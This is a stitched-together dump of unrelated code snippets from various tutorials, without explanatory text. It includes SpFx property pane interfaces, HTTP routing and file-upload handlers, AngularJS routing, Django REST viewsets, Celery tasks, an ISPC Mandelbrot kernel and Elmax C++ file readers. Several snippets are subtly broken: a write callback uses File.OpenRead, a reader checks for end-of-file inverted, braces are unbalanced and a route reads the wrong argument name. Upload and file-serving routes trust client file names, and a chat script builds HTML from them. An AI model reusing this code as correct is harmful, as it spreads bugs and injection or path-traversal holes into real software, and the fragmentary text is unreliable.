	nothing. This callback method will be called from change 
	event handler on individual checkbox.
	Updated list of checkbox id's would be passed to 
	the callback function.
	*/
	
    checkedItems: string[];
	/*
	This attribute feeds the react component 
	information about which 
	checkbox should be rendered as checked initially.
	*/
	
    disable?: boolean;
	
    strings: IAsyncChecklistStrings;
	/*
	strings property is a collection of three strings. 
	See IAsyncChecklistStrings section.
	*/
	
    stateKey?: string;
	/*
	stateKey is set to current datetime everytime the 
	propertypane reopens. We use it to 
	force loadItems function on every reopen of the pane.
	*/	
}</pre>


<pre lang="TypeScript">
export interface IAsyncChecklistState 
{
	/*
	This interface serves as the state of the react component. 
	Keep in mind that react component updates the relevant DOM
	whenever there is a change in its state.
	*/
	
    loading: boolean;
	/* We set loading as true before fetching the column information
	and set it to false afterwards.
	*/
	
    items: IChecklistItem[];
	/*This is the array which is set as the fetched column information*/
	
    error: string;
	/*error text if something goes wrong during the fetch.*/
}  </pre>


<pre lang="TypeScript">
export interface IAsyncChecklistStrings 
{
	/*This interface define one of the properties of the react
	component, namely strings.*/
	
	label: string; // Custom property label
	loading: string; // Text to be displayed with spinner
	errorFormat: string; //Format string for error text.
}</pre>


<pre lang="TypeScript">
export interface IPropertyPaneAsyncChecklistProps 
{
	/*Our Custom property actually extends 
	IPropertyPaneField&lt;IPropertyPaneAsyncChecklistProps&gt; .
	We use this interface to provide a set of properties from 
	our webpart to the custom control.
	*/
	
    loadItems: () =&gt; Promise&lt;IChecklistItem[]&gt;;
	/*Our Custom control simply receives this callback from 
	our webpart and pass it on to the react component.
	*/
	
    onPropertyChange: (propertyPath: string, newCheckedKeys: string[]) =&gt; void;
	/*
	Webpart provides this callback to get notified about the updated array of
	selected checkboxes. This function expects webpart property path and an
	array of ids of selected checkboxes. It returns nothing.
	*/
	
    checkedItems: string[];
	/*Webpart tell tells the custom property which checkboxes are already 
	checked and should be rendered so.*/
	
    disable?: boolean;
	
    strings: IAsyncChecklistStrings; // See IAsyncChecklistStrings section.
}	</pre>


<pre lang="TypeScript">
export interface IPropertyPaneAsyncChecklistInternalProps extends 
IPropertyPaneAsyncChecklistProps, 
IPropertyPaneCustomFieldProps 
{
	/*
	This interface doesn;t define any attribute of its own but it
	extends IPropertyPaneAsyncChecklistProps and
	IPropertyPaneCustomFieldProps. SpFx requires us to have 
	properties attribute of type IPropertyPaneCustomFieldProps. But we need
	to provide our own set of properties too, so we define our
	properties in IPropertyPaneAsyncChecklistProps and have this 
	interface extends IPropertyPaneAsyncChecklistProps.
	IPropertyPaneCustomFieldProps dictates that we have two more
	mandatory properties onRender and key.
	*/
}	</pre>


<pre lang="TypeScript">
public type: PropertyPaneFieldType = PropertyPaneFieldType.Custom;
/*No choice here!! */

public targetProperty: string;  //webpart property name.
public properties: IPropertyPaneAsyncChecklistInternalProps;
public loadedItems: boolean;
private elem: HTMLElement;</pre>


<pre lang="TypeScript">
constructor(targetProperty: string, 
properties: IPropertyPaneAsyncChecklistProps) 
{
    this.targetProperty = targetProperty; //webpart property name.

    this.properties = 
	{
	/*Now we are mapping IPropertyPaneAsyncChecklistProps to
	IPropertyPaneAsyncChecklistInternalProps*/
        loadItems: properties.loadItems,
        checkedItems: properties.checkedItems,
        onPropertyChange: properties.onPropertyChange,
        disable: properties.disable,
        strings: properties.strings,
        onRender: this.onRender.bind(this),
		/*onRender has to be set as mandated by
		IPropertyPaneCustomFieldProps. It is set 
		to a locally defined function.*/
		
        key: targetProperty
		/*key has to be set as mandated by
		IPropertyPaneCustomFieldProps. */
    };
  }	</pre>


<pre lang="TypeScript">
/************************************************************
* Renders the AsyncChecklist property pane
* SpFx calls it.
*************************************************************/
  public render(): void {
    if (!this.elem) {
      return;
    }
    this.onRender(this.elem);
  }

  /*************************************************************
   * Renders the AsyncChecklist property pane
   *************************************************************/
  private onRender(elem: HTMLElement): void {
    if (!this.elem) {
      this.elem = elem;
    }

    const asyncChecklist: React.ReactElement&lt;IAsyncChecklistProps&gt; =
	React.createElement(AsyncChecklist, 
	{
		// this is IAsyncChecklistProps
		
        loadItems: this.properties.loadItems,
        checkedItems: this.properties.checkedItems,
		
        onChange: this.onChange.bind(this),
		// locally defined callback
		
        disable: this.properties.disable,
        strings: this.properties.strings,
        stateKey: new Date().toString()
    });

    ReactDom.render(asyncChecklist, elem);
    this.loadedItems = true;
  }	</pre>


<pre lang="TypeScript">
private listDD:PropertyPaneAsyncDropdown ;
private viewFieldsChecklist:PropertyPaneAsyncChecklist ;
/*
These are class level variables. We cannot create instances of
PropertyPaneAsyncDropdown or PropertyPaneAsyncChecklist here. 
They have to be instantiated within getPropertyPaneConfiguration
method, otherwise Spfx will complain that "Properties cannot be
initialized." You will not see any error during transpilation though.
*/			

protected getPropertyPaneConfiguration(): IPropertyPaneConfiguration 
  {
    this.listDD  = new PropertyPaneAsyncDropdown('listUrl', 
    {
      label: strings.ListFieldLabel,
      loadOptions: this.loadLists.bind(this),
      onPropertyChange: this.onCustomPropertyPaneChange.bind(this),
      selectedKey: this.properties.listUrl
    });
    this.viewFieldsChecklist = new PropertyPaneAsyncChecklist('viewFields'
	//viewFields is the webpart property name i.e. it is
	//target property.
	, 
	{
	// this is IPropertyPaneAsyncChecklistProps
	
      loadItems: this.loadViewFieldsChecklistItems.bind(this),
	  //locally defined callback responsible to load items.
	  
      checkedItems: this.properties.viewFields,
	  //Webpart property which holds already checked columns.
	  
      onPropertyChange: this.onCustomPropertyPaneChange.bind(this),
	  //locally defined callback to handle newly checked or 
	  //newly unchecked boxes.
	  
      disable: isEmpty(this.properties.listUrl),
	  // If list has not been selected yet, keep this
	  // custom property control disabled.
	  
      strings: strings.viewFieldsChecklistStrings
	  // defined in loc folder, mystrings.d.ts
    });
    return {
      pages: [
        {
          header: {
            description: strings.PropertyPaneDescription
          },
          groups: [
            {
              groupName: strings.BasicGroupName,
              groupFields: [
                PropertyPaneTextField('description', {
                  label: strings.DescriptionFieldLabel
                }),
                this.listDD,
                this.viewFieldsChecklist
              ]
            }
          ]
        }
      ]
    };
  }</pre>


<pre lang="PHP">
&lt;?php
// src/Controller/DefaultController.php
...
use Doctrine\DBAL\Driver\Connection;
...
class DefaultController extends Controller{
     /**
      * @Route("/myroute", name="myroute")
      */    public function showQuery(Request $request, Connection $conn){
                ...
                $group = $conn-&gt;fetchAssoc(
                   'SELECT CUST_NAME FROM CUSTOMER WHERE CUST_ID=290'
               );
               ...</pre>


<pre lang="C#">
private void CheckItemCommand_Executed(IFooViewModel changedItem)
{
    var items = TreeLib.BreadthFirst.Traverse.LevelOrder
                  &lt;IFooViewModel&gt;(changedItem.Children, i =&gt; i.Children);

    // All children of the checked/unchecked item have to assume it's state
    foreach (var item in items)
    {
        var node = item.Node as FooViewModel;
        node.IsChecked = changedItem.IsChecked;
    }
    
    // Visit each parent in turn and determine their correct states
    var parentItem = changedItem.Parent;
    
    for( ; parentItem != null; parentItem = parentItem.Parent)
    {
      ResetParentItemState(parentItem as IFooViewModel);
    }
}

private void ResetParentItemState(IFooViewModel item)
{
    if (item == null)
      return;
    
    if (item.ChildrenCount == 0)
      return;

    var itemChildren = item.Children.ToArray();

    bool? firstChild = itemChildren[0].IsChecked;
    
    for(int i=1; i&lt; itemChildren.Length; i++)
    {
      if (Object.Equals(firstChild, itemChildren[i].IsChecked) == false)
      {
        // Two different child states found for this parent item ...
        item.IsChecked = null;
        return;
      }
    }
    
    // All child items have the same state as the first child
    item.IsChecked = firstChild;
}
</pre>


<pre lang="VB.NET">
Private Sub CheckItemCommand_Executed(ChangedItem As IFooViewModel)
    Dim items = TreeLib.BreadthFirst.Traverse.LevelOrder(Of IFooViewModel)(ChangedItem.Children, Function(i) i.Children)

    '' All children of the checked/unchecked item have to assume it's state
    For Each item In items
        Dim node = TryCast(item.Node, FooViewModel)
        node.IsChecked = ChangedItem.IsChecked
    Next

    '' Visit each parent in turn And determine their correct states
    Dim parentItem = ChangedItem.Parent

    While parentItem IsNot Nothing
        ResetParentItemState(TryCast(parentItem, IFooViewModel))

        parentItem = parentItem.Parent
    End While
End Sub

Private Sub ResetParentItemState(item As IFooViewModel)

    If (item Is Nothing) Then
        Return
    End If

    If item.ChildrenCount = 0 Then
        Return
    End If

    Dim itemChildren = item.Children.ToArray()

    Dim firstChild As Boolean?
    firstChild = itemChildren(0).IsChecked

    For i = 0 To itemChildren.Length - 1
        If (Object.Equals(firstChild, itemChildren(i).IsChecked) = False) Then

            '' Two different child states found for this parent item ...
            item.IsChecked = Nothing
            Return
        End If
    Next

    '' All child items have the same state as the first child
    item.IsChecked = firstChild
End Sub</pre>


<pre lang="JavaScript">
Route.Add((rq, rp, args) =&gt; 
{
   //true is the action needs to be processed
   return rq.HttpMethod == "GET" &amp;&amp;
          rq.Url.PathAndQuery.TryMatch("/myPath/{file}", args) &amp;&amp;
          Path.HasExtension(args["file"]);
}, 
(rq, rp, args) =&gt; rp.AsFile(rq, args["file"])); </pre>


<pre lang="JavaScript">
Route.Add("/hello-{word}", (rq, rp, args) =&gt; rp.AsText("1) " + args["world"]));    
    
Route.Add((rq, rp, args) =&gt; 
{
   var p = rq.Url.PathAndQuery;
   if(!p.StartsWith("/hello-")) return false;
   
   args["world"] = p.Replace("/hello-", String.Empty);
   return true;
}, 
(rq, rp, args) =&gt; rp.AsText(rq, "2) " + args["world"])); </pre>


<pre lang="JavaScript">
Route.Add("/myForm/", (rq, rp, args) =&gt; 
{
    var files = rq.ParseBody(args);

    //save files
    foreach (var f in files.Values)
       f.Save(f.FileName);

    //write form-fields
    foreach (var a in args)
       Console.WriteLine(a.Key + " " + a.Value);
}, 
"POST");</pre>


<pre lang="JavaScript">
Route.Add("/myForm/", (rq, rp, args) =&gt; 
{
    //files are directly saved to disc (useful for large files)
    var files = rq.ParseBody(args, 
                             (name, fileName, mime) =&gt; File.OpenRead(fileName));
               
    //close file streams if not needed              
    foreach(var f in files)
      f.Dispose();
}, 
"POST");</pre>


<pre lang="JavaScript">
Route.OnError = (rq, rp, ex) =&gt; 
{
   if (ex is RouteNotFoundException)
   {
      rp.WithCode(HttpStatusCode.NotFound)
        .AsText("Sorry, nothing here.");
   }        
   else if(ex is FileNotFoundException)
   {
      rp.WithCode(HttpStatusCode.NotFound)
        .AsText("The requested file not found");
   }
   else
   {
      rp.WithCode(HttpStatusCode.InternalServerError)
        .AsText(ex.Message);
    }
};</pre>


<pre lang="JavaScript">
    var str = "My name is {name} and surname {surname}";
    str = Templating.RenderString(new Dictionary&lt;string, string&gt; 
                                 { 
                                    {"name", "John"}, 
                                    {"surname", "Smith"}
                                 });

    //str is "My name is John and surname Smith"</pre>


<pre lang="JavaScript">
    var str = "My name is {Name} and surname {Surname}";
    str = Templating.RenderString(new 
                                  {
                                     Name = "John",
                                     Surname = "Smith"
                                  });

    //str is "My name is John and surname Smith"</pre>


<pre lang="XML">
&lt;container&gt; 
    &lt;register type="SM.Store.Api.DAL.IStoreDataUnitOfWork" mapTo="SM.Store.Api.DAL.StoreDataUnitOfWork"&gt; 
      &lt;lifetime type="singleton" /&gt; 
    &lt;/register&gt; 
    &lt;register type="SM.Store.Api.DAL.IGenericRepository[Category]" mapTo="SM.Store.Api.DAL.GenericRepository[Category]"/&gt; 
    &lt;register type="SM.Store.Api.DAL.IGenericRepository[ProductStatusType]" mapTo="SM.Store.Api.DAL.GenericRepository[ProductStatusType]"/&gt; 
    &lt;register type="SM.Store.Api.DAL.IProductRepository" mapTo="SM.Store.Api.DAL.ProductRepository"/&gt; 
    &lt;register type="SM.Store.Api.DAL.IContactRepository" mapTo="SM.Store.Api.DAL.ContactRepository"/&gt;    
    &lt;register type="SM.Store.Api.BLL.IProductBS" mapTo="SM.Store.Api.BLL.ProductBS"/&gt; 
    &lt;register type="SM.Store.Api.BLL.IContactBS" mapTo="SM.Store.Api.BLL.ContactBS"/&gt; 
    &lt;register type="SM.Store.Api.BLL.ILookupBS" mapTo="SM.Store.Api.BLL.LookupBS"/&gt; 
&lt;/container&gt;
</pre>


<pre lang="HTML">
&lt;span class="upload-btn-wrapper"&gt;

     &lt;button id="btnFile" class="btn btn-default btn-flat"&gt;&lt;i class="glyphicon glyphicon-paperclip"&gt;&lt;/i&gt;&lt;/button&gt;

       &lt;ajaxToolkit:AsyncFileUpload OnClientUploadComplete="uploadComplete" runat="server" ID="AsyncFileUpload1" ThrobberID="imgLoader" OnUploadedComplete="FileUploadComplete" OnClientUploadStarted="uploadStarted" /&gt;

   &lt;/span&gt;</pre>


<pre lang="JavaScript">
function IsValidateFile(fileF) {
    var allowedFiles = [".doc", ".docx", ".pdf", ".txt", ".xlsx", ".xls", ".png", ".jpg", ".gif"];
    var regex = new RegExp("([a-zA-Z0-9\s_\\.\-:])+(" + allowedFiles.join('|') + ")$");
    if (!regex.test(fileF.toLowerCase())) {
        alert("Please upload files having extensions: " + allowedFiles.join(', ') + " only.");
        return false;
    }
    return true;
}</pre>


<pre lang="JavaScript">
function uploadComplete(sender, args) {
    var imgDisplay = $get("imgDisplay");
    imgDisplay.src = "images/loading.gif";
    imgDisplay.style.cssText = "";
    var img = new Image();
    img.onload = function () {
        imgDisplay.style.cssText = "Display:none;";
        imgDisplay.src = img.src;
    };

    imgDisplay.src = "&lt;%# ResolveUrl(UploadFolderPath) %&gt;" + args.get_fileName();
var chatHub = $.connection.chatHub;
var userName = $('#hdUserName').val();
var date = GetCurrentDateTime(new Date());
var sizeKB = (args.get_length() / 1024).toFixed(2);

var msg1;

if (IsValidateFile(args.get_fileName())) {
    if (IsImageFile(args.get_fileName())) {
        msg1 =
            '&lt;div class="box-body"&gt;' +
            '&lt;div class="attachment-block clearfix"&gt;' +
            '&lt;a&gt;&lt;img id="imgC" style="width:100px;" class="attachment-img" src="' + imgDisplay.src + '" alt="Attachment Image"&gt;&lt;/a&gt;' +
            '&lt;div class="attachment-pushed"&gt; ' +
            '&lt;h4 class="attachment-heading"&gt;&lt;i class="fa fa-image"&gt;  ' + args.get_fileName() + ' &lt;/i&gt;&lt;/h4&gt; &lt;br /&gt;' +
            '&lt;div id="at" class="attachment-text"&gt; Dimensions : ' + imgDisplay.height + 'x' + imgDisplay.width + ', Type: ' + args.get_contentType() +

            '&lt;/div&gt;' +
            '&lt;/div&gt;' +
            '&lt;/div&gt;' +
            '&lt;a id="btnDownload" href="' + imgDisplay.src + '" class="btn btn-default btn-xs" download="' + args.get_fileName() + '"&gt;&lt;i class="fa fa fa-download"&gt;&lt;/i&gt; Download&lt;/a&gt;' +
            '&lt;button type="button" id="ShowModelImg"  value="' + imgDisplay.src + '"  class="btn btn-default btn-xs"&gt;&lt;i class="fa fa-camera"&gt;&lt;/i&gt; View&lt;/button&gt;' +
            '&lt;span class="pull-right text-muted"&gt;File Size : ' + sizeKB + ' Kb&lt;/span&gt;' +
            '&lt;/div&gt;';
    }
    else {

        msg1 =
            '&lt;div class="box-body"&gt;' +
            '&lt;div class="attachment-block clearfix"&gt;' +
            '&lt;a&gt;&lt;img id="imgC" style="width:100px;" class="attachment-img" src="images/file-icon.png" alt="Attachment Image"&gt;&lt;/a&gt;' +
            '&lt;div class="attachment-pushed"&gt; ' +
            '&lt;h4 class="attachment-heading"&gt;&lt;i class="fa fa-file-o"&gt;  ' + args.get_fileName() + ' &lt;/i&gt;&lt;/h4&gt; &lt;br /&gt;' +
            '&lt;div id="at" class="attachment-text"&gt; Type: ' + args.get_contentType() +

            '&lt;/div&gt;' +
            '&lt;/div&gt;' +
            '&lt;/div&gt;' +
            '&lt;a id="btnDownload" href="' + imgDisplay.src + '" class="btn btn-default btn-xs" download="' + args.get_fileName() + '"&gt;&lt;i class="fa fa fa-download"&gt;&lt;/i&gt; Download&lt;/a&gt;' +
            '&lt;a href="' + imgDisplay.src + '" target="_blank" class="btn btn-default btn-xs"&gt;&lt;i class="fa fa-camera"&gt;&lt;/i&gt; View&lt;/a&gt;' +
            '&lt;span class="pull-right text-muted"&gt;File Size : ' + sizeKB + ' Kb&lt;/span&gt;' +
            '&lt;/div&gt;';
    }
    chatHub.server.sendMessageToAll(userName, msg1, date);

}
imgDisplay.src = '';
}</pre>


<pre lang="C#">
    public static class RegexValues
    {
        public static string SqlCmdObjects = @"\[\$\(([^=&lt;&gt;\[\]\s\']+)\)\].\[[^=&lt;&gt;\s\']+\]";
        public static string SqlCmdObjectsShort = @"\$\(([^=&lt;&gt;\[\]\s\']+)\)";

        public static string DdlObjects = @"\b(create)\s+(procedure|proc|table|trigger|view|function)\b\s\[\$\(([^=&lt;&gt;\[\]\s\']+)\)\].\[[^=&lt;&gt;\s\']+\]";
        public static string DdlObjectsPrepared = @"\b(create)\s+(procedure|proc|table|trigger|view|function)\b\s\[([^=&lt;&gt;\[\]\s\']+)\].(\[[^=&lt;&gt;\s\']+\])";

        public static string DdlObjects_ = @"\b(create)\s+(procedure|proc|table|trigger|view|function)\b\s\$\(([^=&lt;&gt;\[\]\s\']+)\).[^=&lt;&gt;\s\']+";
  
        public static string DdlObjectsPrepared_ = @"\b(create)\s+(procedure|proc|table|trigger|view|function)\b\s([^=&lt;&gt;\s\']+).([^=&lt;&gt;\s\'\(]+)[*\s\b\t]*";

        public static string DdlObjectsPreparedProcViewTrigger = @"\b(create)\s+(procedure|proc|trigger|view|function)\b\s([^=&lt;&gt;\s\']+).([^=&lt;&gt;\s\'\(]+)[*\s\b\t]*";

        public static string DdlObjectsPreparedWithIndex = @"\b(create)\s+(unique)*\s*(nonclustered)*\s*(procedure|proc|table|trigger|view|function|index)\b\s([^=&lt;&gt;\s\']+).([^=&lt;&gt;\s\'\(]+)[*\s\b\t]*";

        public static string DdlIndexAll = @"\b(create|alter)\s+(procedure|proc|table|trigger|view|function)\b\s\[([^=&lt;&gt;\[\]\s\']+)\].\[[^=&lt;&gt;\s\']+\]";

        public static string Variables = @"\@([^=&lt;&gt;\s\'\)\(\,]+)";
        public static string SqlCmdVariables = @"\:SETVAR\s+([a-zA-Z_]+)\s+([a-zA-Z_]+)";
    }
</pre>


<pre lang="C#">
    var range = Syncronized(() =&gt; fastColoredTextBox1.Selection.Clone());
    range.Normalize();

    range.Start = new Place(0, 0);
    range.End = Syncronized(() =&gt; new Place(tb.GetLineLength(tb.LinesCount - 1), tb.LinesCount - 1));
    
</pre>


<pre lang="HTML">
&lt;!doctype html&gt;
&lt;html ng-app="myApp"&gt;
  &lt;head&gt;
    &lt;script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.7/angular.min.js"&gt;&lt;/script&gt;
  &lt;/head&gt;
  &lt;body ng-controller="HomeController"&gt;
    &lt;h1&gt;{{message}}&lt;/h1&gt;
    &lt;script src="app.js"&gt;&lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;</pre>


<pre lang="HTML">
&lt;!doctype html&gt;
&lt;html ng-app="myApp"&gt;
  &lt;head&gt;
    &lt;script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.7/angular.min.js"&gt;&lt;/script&gt;
    &lt;script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.7/angular-route.min.js"&gt;&lt;/script&gt;
  &lt;/head&gt;
  &lt;body&gt;

    &lt;div ng-view&gt;&lt;/div&gt;

    &lt;script src="app.js"&gt;&lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;</pre>


<pre lang="JavaScript">
var app = angular.module('myApp', ['ngRoute']);

app.config(function($routeProvider) {
  $routeProvider

  .when('/', {
    templateUrl : 'pages/home.html',
    controller  : 'HomeController'
  })

  .when('/blog', {
    templateUrl : 'pages/blog.html',
    controller  : 'BlogController'
  })

  .when('/about', {
    templateUrl : 'pages/about.html',
    controller  : 'AboutController'
  })

  .otherwise({redirectTo: '/'});
});</pre>


<pre lang="JavaScript">
app.controller('HomeController', function($scope) {
  $scope.message = 'Hello from HomeController';
});

app.controller('BlogController', function($scope) {
  $scope.message = 'Hello from BlogController';
});

app.controller('AboutController', function($scope) {
  $scope.message = 'Hello from AboutController';
});</pre>


<pre lang="HTML">
&lt;!doctype html&gt;
&lt;html ng-app="myApp"&gt;
  &lt;head&gt;
    &lt;script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.7/angular.min.js"&gt;&lt;/script&gt;
    &lt;script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.7/angular-route.min.js"&gt;&lt;/script&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;a href="#/"&gt;Home&lt;/a&gt;
    &lt;a href="#/blog"&gt;Blog&lt;/a&gt;
    &lt;a href="#/about"&gt;About&lt;/a&gt;

    &lt;div ng-view&gt;&lt;/div&gt;

    &lt;script src="app.js"&gt;&lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;</pre>


<pre lang="HTML">
&lt;!doctype html&gt;
&lt;html ng-app="myApp"&gt;
  &lt;head&gt;
    &lt;script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.7/angular.min.js"&gt;&lt;/script&gt;
    &lt;script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.7/angular-route.min.js"&gt;&lt;/script&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;script type="text/ng-template" id="pages/home.html"&gt;
      &lt;h1&gt;Home&lt;/h1&gt;
      &lt;h3&gt;{{message}}&lt;/h3&gt;
    &lt;/script&gt;
    &lt;script type="text/ng-template" id="pages/blog.html"&gt;
      &lt;h1&gt;Blog&lt;/h1&gt;
      &lt;h3&gt;{{message}}&lt;/h3&gt;
    &lt;/script&gt;
    &lt;script type="text/ng-template" id="pages/about.html"&gt;
      &lt;h1&gt;About&lt;/h1&gt;
      &lt;h3&gt;{{message}}&lt;/h3&gt;
    &lt;/script&gt;

    &lt;a href="#/"&gt;Home&lt;/a&gt;
    &lt;a href="#/blog"&gt;Blog&lt;/a&gt;
    &lt;a href="#/about"&gt;About&lt;/a&gt;

    &lt;div ng-view&gt;&lt;/div&gt;

    &lt;script src="app.js"&gt;&lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;</pre>


<pre lang="Python">
from django.db import models

class University(models.Model):
    name = models.CharField(max_length=50)

    class Meta:
        verbose_name = "University"
        verbose_name_plural = "Universities"

    def __unicode__(self):
        return self.name

class Student(models.Model):
    first_name = models.CharField(max_length=50)
    last_name = models.CharField(max_length=50)
    university = models.ForeignKey(University)

    class Meta:
        verbose_name = "Student"
        verbose_name_plural = "Students"

    def __unicode__(self):
        return '%s %s' % (self.first_name, self.last_name)</pre>


<pre lang="Python">
from rest_framework import serializers
from .models import University, Student

class UniversitySerializer(serializers.ModelSerializer):
    class Meta:
        model = University

class StudentSerializer(serializers.ModelSerializer):
    class Meta:
        model = Student</pre>


<pre lang="Python">
from rest_framework import viewsets
from .models import University, Student
from .serializers import UniversitySerializer, StudentSerializer

class StudentViewSet(viewsets.ModelViewSet):
    queryset = Student.objects.all()
    serializer_class = StudentSerializer

class UniversityViewSet(viewsets.ModelViewSet):
    queryset = University.objects.all()
    serializer_class = UniversitySerializer</pre>


<pre lang="Python">
from django.conf import settings
from django.conf.urls import url, include
from django.contrib import admin

urlpatterns = [
    url(r'^admin/', admin.site.urls),
    url(r'^api/', include('apps.core.urls', namespace='core')),
]

if settings.DEBUG:
    from django.conf.urls.static import static
    urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)
    urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)</pre>


<pre lang="Python">
from django.conf.urls import url
from rest_framework import routers
from core.views import StudentViewSet, UniversityViewSet

router = routers.DefaultRouter()
router.register(r'students', StudentViewSet)
router.register(r'universities', UniversityViewSet)

urlpatterns = router.urls</pre>


<pre lang="Python">
from django.conf.urls import url, include
from rest_framework import routers
from core.views import StudentViewSet, UniversityViewSet

router = routers.DefaultRouter()
router.register(r'students', StudentViewSet)
router.register(r'universities', UniversityViewSet)

urlpatterns = [
    url(r'^docs/', include('rest_framework_swagger.urls')),
]
urlpatterns += router.urls</pre>


<pre lang="Python">
def list_user_snippets(request):
    # Show list of a user's code snippets
    # for a Pastebin-like application
    snippets = Snippet.objects.filter(user=request.user)
    context = {'snippets':snippets}
    return render(request, 'mysnippets/snippet_list.html', context)
</pre>


<pre lang="Python">
def list_all_snippets(request):
    # Show list of all code snippets
    # for a Pastebin-like application - looking pretty repetitive...
    snippets = Snippet.objects.all()
    context = {'snippets':snippets}
    return render(request, 'mysnippets/snippet_list.html', context)</pre>


<pre lang="Python">
# https://git.io/vaAhu
# github.com/django - django/views/generic/list

class ListView(MultipleObjectTemplateResponseMixin, BaseListView):
    """
    Render some list of objects, set by `self.model` or `self.queryset`.
    `self.queryset` can actually be any iterable of items, not just a queryset.
    """</pre>


<pre lang="Python">
# https://git.io/vaAhQ
# github.com/django - django/views/generic/list

class BaseListView(MultipleObjectMixin, View):
    """
    A base view for displaying a list of objects.
    """
    def get(self, request, *args, **kwargs):
        self.object_list = self.get_queryset()
        allow_empty = self.get_allow_empty()

        # ...

        context = self.get_context_data()
        return self.render_to_response(context)</pre>


<pre lang="Python">
# https://git.io/vaxJo
# github.com/django - django/views/generic/list

class MultipleObjectTemplateResponseMixin(TemplateResponseMixin):
    template_name_suffix = '_list'

    def get_template_names(self):
        # ...code removed here
        if hasattr(self.object_list, 'model'):
            opts = self.object_list.model._meta
            names.append("%s/%s%s.html" % (opts.app_label, opts.model_name, self.template_name_suffix))

        return names</pre>


<pre lang="C++">
export void mandelbrot_ispc(uniform float x0, uniform float y0, 
                            uniform float x1, uniform float y1,
                            uniform int width, uniform int height, 
                            uniform int maxIterations,
                            uniform int output[])
{
    float dx = (x1 - x0) / width;
    float dy = (y1 - y0) / height;

    for (uniform int j = 0; j &lt; height; j++) {
        // Note that we'll be doing programCount computations in parallel,
        // so increment i by that much.  This assumes that width evenly
        // divides programCount.
        foreach (i = 0 ... width) {
            // Figure out the position on the complex plane to compute the
            // number of iterations at.  Note that the x values are
            // different across different program instances, since its
            // initializer incorporates the value of the programIndex
            // variable.
            float x = x0 + i * dx;
            float y = y0 + j * dy;

            int index = j * width + i;
            output[index] = mandel(x, y, maxIterations);
        }
    }
}

static inline int mandel(float c_re, float c_im, int count) {
    float z_re = c_re, z_im = c_im;
    int i;
    for (i = 0; i &lt; count; ++i) {
        if (z_re * z_re + z_im * z_im &gt; 4.)
            break;
 
        float new_re = z_re*z_re - z_im*z_im;
        float new_im = 2.f * z_re * z_im;
        unmasked {
            z_re = c_re + new_re;
            z_im = c_im + new_im;
        }
    }
 
    return i;
}</pre>


<pre lang="HTML">
&lt;ui-gmap-google-map center="map.center" zoom="map.zoom" 
draggable="true" options="options"&gt;
        &lt;ui-gmap-marker coords="marker.coords" options="marker.options" 
         events="marker.events" idkey="marker.id"&gt;
        &lt;/ui-gmap-marker&gt;
&lt;/ui-gmap-google-map&gt;</pre>


<pre lang="Javascript">
events: {
        dragend: function (marker, eventName, args) {
          $log.log('marker dragend');
          var lat = marker.getPosition().lat();
          var lon = marker.getPosition().lng();
          $log.log(lat);
          $log.log(lon);</pre>

<pre lang="Python">
from __future__ import absolute_import
from test_celery.celery import app
import time

@app.task
def longtime_add(x, y):
    print 'long time task begins'
    # sleep 5 seconds
    time.sleep(5)
    print 'long time task finished'
    return x + y</pre>


<pre lang="Python">
from .tasks import longtime_add
import time

if __name__ == '__main__':
    result = longtime_add.delay(1,2)
    # at this time, our task is not finished, so it will return False
    print 'Task finished? ', result.ready()
    print 'Task result: ', result.result
    # sleep 10 seconds to ensure the task has been finished
    time.sleep(10)
    # now the task should be finished and ready method will return True
    print 'Task finished? ', result.ready()
    print 'Task result: ', result.result</pre>


<pre lang="C++">
using namespace Elmax;

xTextReader reader;
std::wstring file = L"Unicode.txt";
if(reader.Open(file))
{
    if(reader.IsEOF()==false)
    {
        int i2 = 0;
        double d2 = 0.0;

        StrtokStrategy strat(L",");
        reader.SetSplitStrategy(&amp;strat);
        size_t totalRead = reader.ReadLine(i2, d2); // i2 = 25698 and d2 = 1254.69
}
reader.Close();
</pre>


<pre lang="C++">
using namespace Elmax;

xBinaryReader reader;
std::wstring file = L"Binary.bin";
if(reader.Open(file))
{
    if(reader.IsEOF())
    {
        int i2 = 0;
        double d2 = 0.0;
        size_t totalRead = reader.Read(i2, d2); // i2 = 25698 and d2 = 1254.69
    }
    reader.Close();
}
</pre>


<pre lang="C++">
using namespace Elmax;

xBinaryWriter writer;
std::wstring file = GetTempPath(L"Binary.bin");
if(writer.Open(file))
{
    std::string str = "Coding Monkey";
    double d = 1254.69;
    writer.Write(str.size(), str, d);
    writer.Close();
}

xBinaryReader reader;
if(reader.Open(file))
{
    if(reader.IsEOF()==false)
    {
        size_t len = 0;
        double d2 = 0.0;
        StrArray arr;
        size_t totalRead = reader.Read(len);

        totalRead = reader.Read(arr.MakeArray(len), d2);

        std::string str2 = arr.GetPtr(); // str2 contains "Coding Monkey"
    }
    reader.Close();
}
</pre>


<pre lang="C++">
xBinaryReader reader;
if(reader.Open(file))
{
    if(reader.IsEOF()==false)
    {
        size_t len = 0;
        double d2 = 0.0;
        StrArray arr;
        size_t totalRead = reader.Read(len, arr.DeferredMake(len), d2);

        std::string str2 = arr.GetPtr(); // str2 contains "Coding Monkey"
    }
    reader.Close();
}
</pre>


<pre lang="C++">
bool xTextWriter::Write( const wchar_t* fmt, DataType D1, DataType D2, DataType D3, DataType D4, DataType D5 )
{
    if(pWriter!=NULL)
    {
        std::wstring str = StrUtilRef::Format(fmt, D1, D2, D3, D4, D5);
        return pWriter-&gt;Write(str);
    }

    return false;
}
</pre>


<pre lang="C++">
namespace Elmax
{
class DataType
{
public:
    ~DataType(void);

    DataType( int i );

    DataType( unsigned int ui );

    DataType( const ELMAX_INT64&amp; i64 );

    DataType( const unsigned ELMAX_INT64&amp; ui64 );

    DataType( float f );

